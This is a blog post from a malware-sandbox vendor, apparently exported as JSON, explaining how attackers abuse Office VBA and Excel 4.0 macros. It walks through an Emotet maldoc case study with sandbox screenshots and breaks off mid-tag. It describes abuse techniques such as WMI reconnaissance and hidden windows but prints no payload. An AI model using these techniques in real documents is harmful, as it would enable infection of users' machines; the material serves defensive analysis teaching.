{"id":7056,"date":"2024-02-20T09:28:55","date_gmt":"2024-02-20T09:28:55","guid":{"rendered":"\/cybersecurity-blog\/?p=7056"},"modified":"2024-02-21T08:03:45","modified_gmt":"2024-02-21T08:03:45","slug":"macros-in-malware","status":"publish","type":"post","link":"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/","title":{"rendered":"Understanding Macros in Malware: Types, Capabilities, Case Study\u00a0"},"content":{"rendered":"\n<p>Macros are like mini programs within other software. They contain instructions designed to automatically perform a series of operations. Macros are especially useful for power users of productivity software who want to streamline repetitive tasks:&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Batch resize images.&nbsp;<\/li>\n\n\n\n<li>Merge separate excel files.&nbsp;<\/li>\n\n\n\n<li>Create file copies.&nbsp;<\/li>\n\n\n\n<li>Automatically back up progress.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p>When it comes to exploits, it&#8217;s particularly important to understand how macros are used in Microsoft Word.&nbsp;<\/p>\n\n\n\n<p>In this software suite, macros are written in scripting languages (<a href=\"https:\/\/en.wikipedia.org\/wiki\/Visual_Basic_for_Applications\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">VBA<\/a> and <a href=\"https:\/\/support.microsoft.com\/en-us\/office\/working-with-excel-4-0-macros-ba8924d4-e157-4bb2-8d76-2c07ff02e0b8\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Excel 4.0.)<\/a> These languages allow direct access to Windows APIs, which makes them incredibly powerful for both legitimate use and, unfortunately, for hackers.&nbsp;<\/p>\n\n\n\n<p>Keep reading to learn about:&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Types of malicious macros<\/strong> you\u2019ll often encounter in modern malware.&nbsp;<\/li>\n\n\n\n<li><strong>What hackers can do with macros<\/strong> and how they use them: our experience.&nbsp;<\/li>\n\n\n\n<li>How to <strong>go from finding an obfuscated macro in a maldoc to fully understanding what it does<\/strong> in a system.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p>Let\u2019s dive in! (<a href=\"#analyzing-macros-in-anyrun-7056\">Or jump straight to the case study<\/a>). &nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">What makes MS Office macros dangerous?&nbsp;<\/h2>\n\n\n\n<p>To better understand potential dangers behind these automations, let&#8217;s consider how a common VBA macro works. The code snippet below converts a document into a PDF:&nbsp;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Sub SaveDocumentAsPDF() \n\n    Dim filePath As String \n\n    Dim pdfPath As String \n\n     \n\n    If ThisDocument.Path = \"\" Then \n\n        MsgBox \"Please save your document before exporting to PDF.\", vbInformation \n\n        Exit Sub \n\n    End If \n\n     \n\n    filePath = ThisDocument.FullName \n\n     \n\n    pdfPath = Replace(filePath, \".docx\", \".pdf\") \n\n     \n\n    ThisDocument.ExportAsFixedFormat OutputFileName:=pdfPath, _ \n\n                                      ExportFormat:=wdExportFormatPDF, _ \n\n                                      OpenAfterExport:=False, _ \n\n                                      OptimizeFor:=wdExportOptimizeForPrint, _ \n\n                                      Range:=wdExportAllDocument, _ \n\n                                      Item:=wdExportDocumentContent, _ \n\n                                      IncludeDocProps:=True, _ \n\n                                      KeepIRM:=True, _ \n\n                                      CreateBookmarks:=wdExportCreateNoBookmarks, _ \n\n                                      DocStructureTags:=True, _ \n\n                                      BitmapMissingFonts:=True, _ \n\n                                      UseISO19005_1:=False \n\n     \n\n    MsgBox \"Document has been saved as PDF: \" &amp; pdfPath, vbInformation \n\nEnd Sub <\/code><\/pre>\n\n\n\n<p>This macro verifies if the document has been saved, retrieves the current path and filename, saves it as a PDF, and notifies the user upon completion. To achieve this, the macro interacts with deep system components:&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>By accessing <strong>ThisDocument.Path <\/strong>and <strong>ThisDocument.FullName<\/strong>, a macro reads from the file system to determine document locations. Similar code could be repurposed to collect information about the target system.&nbsp;<\/li>\n\n\n\n<li>Using \u201c<strong>ExportAsFixedFormat<\/strong>\u201d it writes to the file system. The security risk arises not from the method itself but from the broader capability it demonstrates. For instance, this capability could be misused to place a malicious executable in the temp directory.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p>Of course, the methods mentioned above aren\u2019t malicious. But they showcase how macros give access to system resources. Hackers can exploit this to manipulate files, deploy malware, and perform several system-level actions: launch processes, access network resources and run commands.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">What can hackers do with macros?&nbsp;<\/h2>\n\n\n\n<p>In our experience in dealing with macros in real-world attack scenarios, hackers typically use them to:&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Access CMD (Command Prompt)&nbsp;&nbsp;<\/li>\n\n\n\n<li>Run PowerShell commands&nbsp;&nbsp;<\/li>\n\n\n\n<li>Call a DLL (Dynamic-link library)&nbsp;module that connects to a remote server&nbsp;<\/li>\n\n\n\n<li>Call a function via WinAPI (Windows API)&nbsp;<\/li>\n\n\n\n<li>Establish connection and download file&nbsp;<\/li>\n\n\n\n<li>Pull out system data from WMI (Windows Management Instrumentation)&nbsp;<\/li>\n<\/ul>\n\n\n\n<p>For instance, WMI allows instrumented components to share system data and notifications. Since hackers can directly interact with it through macros, they can gather information about the execution environment, like the OS version and locale. This enables them to configure malware to run with the correct parameters or determine if the system is suitable for miners.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">History of malicious macros&nbsp;<\/h2>\n\n\n\n<p>As you can see, macros offer hackers a powerful way to exploit legitimate tools. What makes the issue even worse is the high number of workstations in corporate environments vulnerable to this attack vector. Let&#8217;s explore some history to understand how we arrived at this situation.&nbsp;<\/p>\n\n\n\n<p>Popularity of macros as an infection mechanism is closely tied to Microsoft Office \u2014 a software suite that is <a href=\"https:\/\/www.techrepublic.com\/article\/83-of-enterprises-use-microsoft-office-but-there-is-danger-lurking-in-that-huge-number\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">used<\/a> in 83% of enterprise companies.&nbsp;<\/p>\n\n\n\n<p>Since early versions, the productivity tool&#8217;s power users relied heavily on macros to automate their routine \u2014 and hackers took note of this attack vector.&nbsp;<\/p>\n\n\n\n<p>The first well-known case of malware exploiting Word macros was the &#8220;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Concept_virus\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Concept<\/a>&#8221; virus from 1995. &nbsp;<\/p>\n\n\n\n<p>It demonstrated proof of concept that macros could be used to execute malicious code within Word documents.&nbsp;&nbsp;<\/p>\n\n\n\n<p>From there, In the late 90s and early 2000s, macro viruses surged. This prompted Microsoft to take action and improve security. Microsoft disabled macros support by default starting with Office 2007, introduced the &#8220;Trust Center&#8221; for more granular control of security settings, and now requires to save files with specific extentsions to run macros (.docm, .xlsm, or .pptm). Despite all this, hackers are still able to successfully exploit this attack vector.&nbsp;<\/p>\n\n\n\n<p>Today, many malware families use macros in the early stages of the infection chain. You&#8217;ll likely encounter macros with malware like <a href=\"https:\/\/any.run\/malware-trends\/nanocore\" target=\"_blank\" rel=\"noreferrer noopener\">Nanocore<\/a>, <a href=\"https:\/\/any.run\/malware-trends\/smoke\" target=\"_blank\" rel=\"noreferrer noopener\">Smoke Loader<\/a>, <a href=\"https:\/\/any.run\/malware-trends\/redline\" target=\"_blank\" rel=\"noreferrer noopener\">RedLine<\/a>, <a href=\"https:\/\/any.run\/malware-trends\/zloader\" target=\"_blank\" rel=\"noreferrer noopener\">ZLoader<\/a>, and <a href=\"https:\/\/any.run\/malware-trends\/lokibot\" target=\"_blank\" rel=\"noreferrer noopener\">Lokibot<\/a> or any other malware that can spread through maldocs.&nbsp;<\/p>\n\n\n\n<p>(<a href=\"https:\/\/any.run\/cybersecurity-blog\/new-zloader-campaign\/\" target=\"_blank\" rel=\"noreferrer noopener\">Read about analyzing a 64-bit version of ZLoadre in ANY.RUN)<\/a>&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Types of malicious macros&nbsp;<\/h2>\n\n\n\n<p>As we mentioned earlier, almost all macros you\u2019ll encounter in malicious documents today are written in either VBA or Excel 4.0 and it\u2019s important to understand the difference between how each is deployed.&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>VBA Macros<\/strong>: In modern Office programs, you can view macros written in this programming language in their respective Developer tabs in the VBA editor.&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Excel 4.0 macros<\/strong>: This is an older macro language used in Microsoft Excel before VBA became the standard. Despite its obsolescence, it&#8217;s still supported for backward compatibility. Excel 4.0 macros are harder to spot, because hackers can embed them directly into the spreadsheet cells, often in hidden tabs \u2014 like in <a href=\"https:\/\/app.any.run\/tasks\/7fa6a25b-3ec0-4d7f-a582-366520d6f03c\/?utm_source=blog&amp;utm_medium=article&amp;utm_campaign=typesofmacros&amp;utm_content=linktoservice&amp;utm_term=200224\/\" target=\"_blank\" rel=\"noreferrer noopener\">this example<\/a>.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p>You&#8217;ve likely noticed from the example at the start of the article that VBA is a standalone, fully-fledged language with its own syntax, and the same goes for Excel 4.0 macros. Because of this, finding macros is just part of the challenge \u2014 you also need to understand what they do. Unfortunately, at this stage, you&#8217;ll encounter a roadblock \u2014 obfuscation.&nbsp;<\/p>\n\n\n\n<p>(<a href=\"https:\/\/any.run\/cybersecurity-blog\/net-malware-obfuscators-analysis-part-one\/\" target=\"_blank\" rel=\"noreferrer noopener\">Read our in-depth guide to analyzing .NET obfuscators<\/a>)&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Why is it difficult to analyze malicious macros?&nbsp;<\/h2>\n\n\n\n<p>The challenge in studying macros lies not only in the need to know the language in which they&#8217;re written but also to deobfuscate the code. All macros you will come across in the are heavily obfuscated. Like <a href=\"https:\/\/app.any.run\/tasks\/54d65275-8e00-437b-b225-e318b675803a\/?utm_source=blog&amp;utm_medium=article&amp;utm_campaign=typesofmacros&amp;utm_content=linktoservice&amp;utm_term=200224\/\" target=\"_blank\" rel=\"noreferrer noopener\">this example<\/a> from an infected Word document:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"621\" src=\"\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/1-4-1024x621.png\" alt=\"\" class=\"wp-image-7057\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/1-4-1024x621.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/1-4-300x182.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/1-4-768x466.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/1-4-1536x932.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/1-4-2048x1242.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/1-4-370x224.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/1-4-270x164.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/1-4-740x449.png 740w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">You can view macro code in ANY.RUN Static Discovering &nbsp;<\/figcaption><\/figure><\/div>\n\n\n<p>Malicious macros are almost always obfuscated and hard to analyze statically.&nbsp;<\/p>\n\n\n\n<p>But thankfully, deobfuscating macro code itself isn&#8217;t necessary in many cases. After all, your primary objective during analysis should be to understand the code&#8217;s functionality within the system. You can achieve this using various analysis tools. For instance, ANY.RUN interactive malware sandbox offers a <a href=\"https:\/\/any.run\/cybersecurity-blog\/script-tracer\/\" target=\"_blank\" rel=\"noreferrer noopener\">script tracer<\/a> that shows, step-by-step, the actions the program executes on the system.<\/p>\n\n\n\n<!-- Regular Banner START -->\n<div class=\"regular-banner\">\n<!-- Text Content -->\n<p class=\"regular-banner__text\">\nFollow along with the upcoming case-study in <span class=\"highlight\">ANY.RUN interactive cloud sandbox<\/span>&nbsp;\n<\/p>\n<!-- CTA Link -->\n<a class=\"regular-banner__link\" id=\"article-banner-regular\" href=\"https:\/\/app.any.run\/#register\/\" rel=\"noopener\" target=\"_blank\">\nSign up now\n<\/a>\n<\/div>\n<!-- Regular Banner END -->\n<!-- Regular Banner Styles START -->\n\n<style>\n.regular-banner {\ndisplay: flex;\ntext-align: center;\nflex-direction: column;\nalign-items: center;\ngap: 1.5rem;\nwidth: 100%;\npadding: 2rem;\nmargin: 1.5rem 0;\nborder-radius: 0.5rem;\nfont-family: 'Catamaran Bold';\nmargin-inline: auto;\nbackground: rgba(32, 168, 241, 0.1);\nborder: 1px solid rgba(75, 174, 227, 0.32);\n}\n\n.regular-banner__text {\nfont-size: 1.5rem;\nmargin: 0;\n}\n\n.highlight {\ncolor: #ea2526;\n}\n\n.regular-banner__link {\npadding: 0.5rem 1.5rem;\nfont-weight: 500;\ntext-decoration: none;\nborder-radius: 0.5rem;\ncolor: #FFFFFF;\nbackground-color: #1491D4;\ntext-align: center;\ntransition: all 0.2s ease-in;\n}\n\n.regular-banner__link:hover {\nbackground-color: #68CBFF;\ncolor: white;\n}\n<\/style>\n<!-- Regular Banner Styles END -->\n\n\n\n<h2 class=\"wp-block-heading\">Analyzing macros in ANY.RUN&nbsp;<\/h2>\n\n\n\n<p><a href=\"https:\/\/any.run\/?utm_source=blog&amp;utm_medium=article&amp;utm_campaign=typesofmacros&amp;utm_content=linktolanding&amp;utm_term=200224\" target=\"_blank\" rel=\"noreferrer noopener\">ANY.RUN<\/a> is an interactive malware analysis sandbox that offers a free plan. It\u2019s a powerful tool for analyzing malware which uses macros in its infection chain.&nbsp;&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"565\" src=\"\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/2-min-1-1024x565.png\" alt=\"\" class=\"wp-image-7061\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/2-min-1-1024x565.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/2-min-1-300x166.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/2-min-1-768x424.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/2-min-1-1536x847.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/2-min-1-2048x1130.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/2-min-1-370x204.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/2-min-1-270x149.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/2-min-1-740x408.png 740w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Filter by tag and verdict to find ANY.RUN tasks that involve&nbsp;macros&nbsp;<\/figcaption><\/figure><\/div>\n\n\n<p>You can find interesting sandbox sessions with macros (above) that our users previously ran in the sandbox by filtering by <strong>malicious<\/strong> verdict and <strong>#macros<\/strong> tag in <a href=\"https:\/\/app.any.run\/submissions\/#tag:macros\" target=\"_blank\" rel=\"noreferrer noopener\">Public Submissions<\/a>.&nbsp;&nbsp;<\/p>\n\n\n\n<p>Let\u2019s analyze a malicious Word document in ANY.RUN&nbsp;<\/p>\n\n\n\n<p>Let\u2019s focus on <a href=\"https:\/\/app.any.run\/tasks\/21f38757-7ebe-4440-9648-61c862f6f24c\/?utm_source=blog&amp;utm_medium=article&amp;utm_campaign=typesofmacros&amp;utm_content=linktoservice&amp;utm_term=200224\" target=\"_blank\" rel=\"noreferrer noopener\">this task<\/a> and analyze a maldoc. Looking at the main task view, let&#8217;s momentarily disregard the fact that ANY.RUN has already detected Emotet activity and alerted us via tags in the upper right corner of the interface \u2014 considering that such a luxury isn&#8217;t always available.&nbsp;&nbsp;<\/p>\n\n\n\n<!-- Regular Banner START -->\n<div class=\"regular-banner\">\n<!-- Text Content -->\n<p class=\"regular-banner__text\">\nGet a demo to learn how <span class=\"highlight\">ANY.RUN<\/span> can help you or your department&nbsp;\n<\/p>\n<!-- CTA Link -->\n<a class=\"regular-banner__link\" id=\"article-banner-regular\" href=\"https:\/\/calendly.com\/d\/3nd-rzd-xvx\/any-run-demo-blog\/\" rel=\"noopener\" target=\"_blank\">\nBook a spot\n<\/a>\n<\/div>\n<!-- Regular Banner END -->\n<!-- Regular Banner Styles START -->\n\n<style>\n.regular-banner {\ndisplay: flex;\ntext-align: center;\nflex-direction: column;\nalign-items: center;\ngap: 1.5rem;\nwidth: 100%;\npadding: 2rem;\nmargin: 1.5rem 0;\nborder-radius: 0.5rem;\nfont-family: 'Catamaran Bold';\nmargin-inline: auto;\nbackground: rgba(32, 168, 241, 0.1);\nborder: 1px solid rgba(75, 174, 227, 0.32);\n}\n\n.regular-banner__text {\nfont-size: 1.5rem;\nmargin: 0;\n}\n\n.highlight {\ncolor: #ea2526;\n}\n\n.regular-banner__link {\npadding: 0.5rem 1.5rem;\nfont-weight: 500;\ntext-decoration: none;\nborder-radius: 0.5rem;\ncolor: #FFFFFF;\nbackground-color: #1491D4;\ntext-align: center;\ntransition: all 0.2s ease-in;\n}\n\n.regular-banner__link:hover {\nbackground-color: #68CBFF;\ncolor: white;\n}\n<\/style>\n<!-- Regular Banner Styles END -->\n\n\n\n<p>Instead, let&#8217;s manually jump through the hoops to find the macro, and understand more about it. To achieve this, we need to orient ourselves in the interface of ANY.RUN a bit.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"565\" src=\"\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/3-1-1024x565.png\" alt=\"\" class=\"wp-image-7062\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/3-1-1024x565.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/3-1-300x166.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/3-1-768x424.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/3-1-1536x848.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/3-1-2048x1130.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/3-1-370x204.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/3-1-270x149.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/3-1-740x408.png 740w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">You can interact directly with the VM in ANY.RUN&nbsp;<\/figcaption><\/figure><\/div>\n\n\n<p>We can directly interact with the VM through the VNC (Virtual Network Computing) window at the center of the screen. VNC is a technology that enables to remotely control another computer. In ANY.RUN, it allows us to perform necessary actions within the system to run or view the macro in the cloud VM. Let&#8217;s first search for the macro in the most obvious location \u2014 the <strong>View Macros <\/strong>dialogue box (<strong>View <\/strong>\u2192 <strong>Macros&nbsp;<\/strong>\u2192&nbsp;<strong>View Macros<\/strong>).&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"565\" src=\"\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/4-min-1024x565.png\" alt=\"\" class=\"wp-image-7063\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/4-min-1024x565.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/4-min-300x165.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/4-min-768x423.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/4-min-1536x847.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/4-min-2048x1129.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/4-min-370x204.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/4-min-270x149.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/4-min-740x408.png 740w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><strong>View Macros<\/strong> dialogue box shows an empty list&nbsp;<\/figcaption><\/figure><\/div>\n\n\n<p>An empty list&#8230; This indicates that either the macro doesn&#8217;t exist (though we know this isn&#8217;t true) or that it&#8217;s stored in a module. It could be located elsewhere, such as &#8220;ThisDocument,&#8221; a class module, or a UserForm within the VBA editor. Let&#8217;s look there (select <strong>Developer <\/strong>\u2192 <strong>Visual Basic <\/strong>in the top panel).&nbsp;<\/p>\n\n\n\n<p>The Visual Basic section in the Developer tab shows a document tree. Our focus is on the &#8220;Forms&#8221; folder \u2014 a place that holds custom scripts.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"566\" src=\"\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/5-min-1024x566.png\" alt=\"\" class=\"wp-image-7064\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/5-min-1024x566.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/5-min-300x166.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/5-min-768x425.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/5-min-1536x849.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/5-min-2048x1132.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/5-min-370x205.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/5-min-270x149.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/5-min-740x409.png 740w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">There&#8217;s a hidden macro in the forms folder in Visual Basic editor&nbsp;<\/figcaption><\/figure><\/div>\n\n\n<p>Bingo! We find a dialogue box displaying what appears to be obfuscated code. We can delve deeper into examining it:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"566\" src=\"\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/6-min-1024x566.png\" alt=\"\" class=\"wp-image-7065\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/6-min-1024x566.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/6-min-300x166.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/6-min-768x425.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/6-min-1536x849.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/6-min-2048x1132.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/6-min-370x205.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/6-min-270x149.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/6-min-740x409.png 740w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">The macro\u2019s code seems deliberately obfuscated&nbsp;<\/figcaption><\/figure><\/div>\n\n\n<p>In the VBA editor we can finally see our macro, and that its code and variable names seem nonsensical, suggesting intentional obfuscation.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Analyzing the macro in a Script Tracer&nbsp;<\/h2>\n\n\n\n<p>There&#8217;s no point in doing anything further with the VM, so let&#8217;s close the task and move to the recording view. In the <a href=\"https:\/\/any.run\/cybersecurity-blog\/malware-details\/\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Advanced Process Details<\/strong><\/a>, we can access more in-depth reports and static analysis tools. These resources will help us understand what this code does in the system without needing to deobfuscate the macro itself.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"566\" src=\"\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/7-1024x566.png\" alt=\"\" class=\"wp-image-7066\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/7-1024x566.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/7-300x166.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/7-768x424.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/7-1536x848.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/7-2048x1131.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/7-370x204.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/7-270x149.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/7-740x409.png 740w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Areas surrounded in red boxes suspicious actions&nbsp;<\/figcaption><\/figure><\/div>\n\n\n<p>This is a Script Tracer view of the macro in ANY.RUN, and it shows step-by-step what the code did on the system. Right away there are obvious red flags:&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"239\" src=\"\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/8-1024x239.png\" alt=\"\" class=\"wp-image-7067\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/8-1024x239.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/8-300x70.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/8-768x179.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/8-370x86.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/8-270x63.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/8-740x173.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/8.png 1286w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">The macro queries Windows WMI&nbsp;<\/figcaption><\/figure><\/div>\n\n\n<p>&#8220;<strong>winmgmts:win32_Process<\/strong>&#8221; and &#8220;<strong>winmgmts:win32_ProcessStartup<\/strong>,&#8221; we see above, are associated with Windows WMI. We\u2019ve already discussed how malware can exploit malicious macros to query this interface for system information. However, this alone isn\u2019t enough to definitively conclude that the object is malicious, so let&#8217;s continue our investigation.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"55\" src=\"\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/9-1024x55.png\" alt=\"\" class=\"wp-image-7068\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/9-1024x55.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/9-300x16.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/9-768x42.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/9-1536x83.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/9-2048x111.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/9-370x20.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/9-270x15.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/9-740x40.png 740w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Dialogue window manipulation&nbsp;&nbsp;<\/figcaption><\/figure><\/div>\n\n\n<p>Then there&#8217;s the &#8220;<strong>ShowWindow<\/strong>&#8221; call, likely used to manipulate the visibility of a window, which is probably why we didn\u2019t see the dialogue box of the macro when we opened the document.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"624\" src=\"\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/10-min-1024x624.png\" alt=\"\" class=\"wp-image-7069\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/10-min-1024x624.png 1024w, 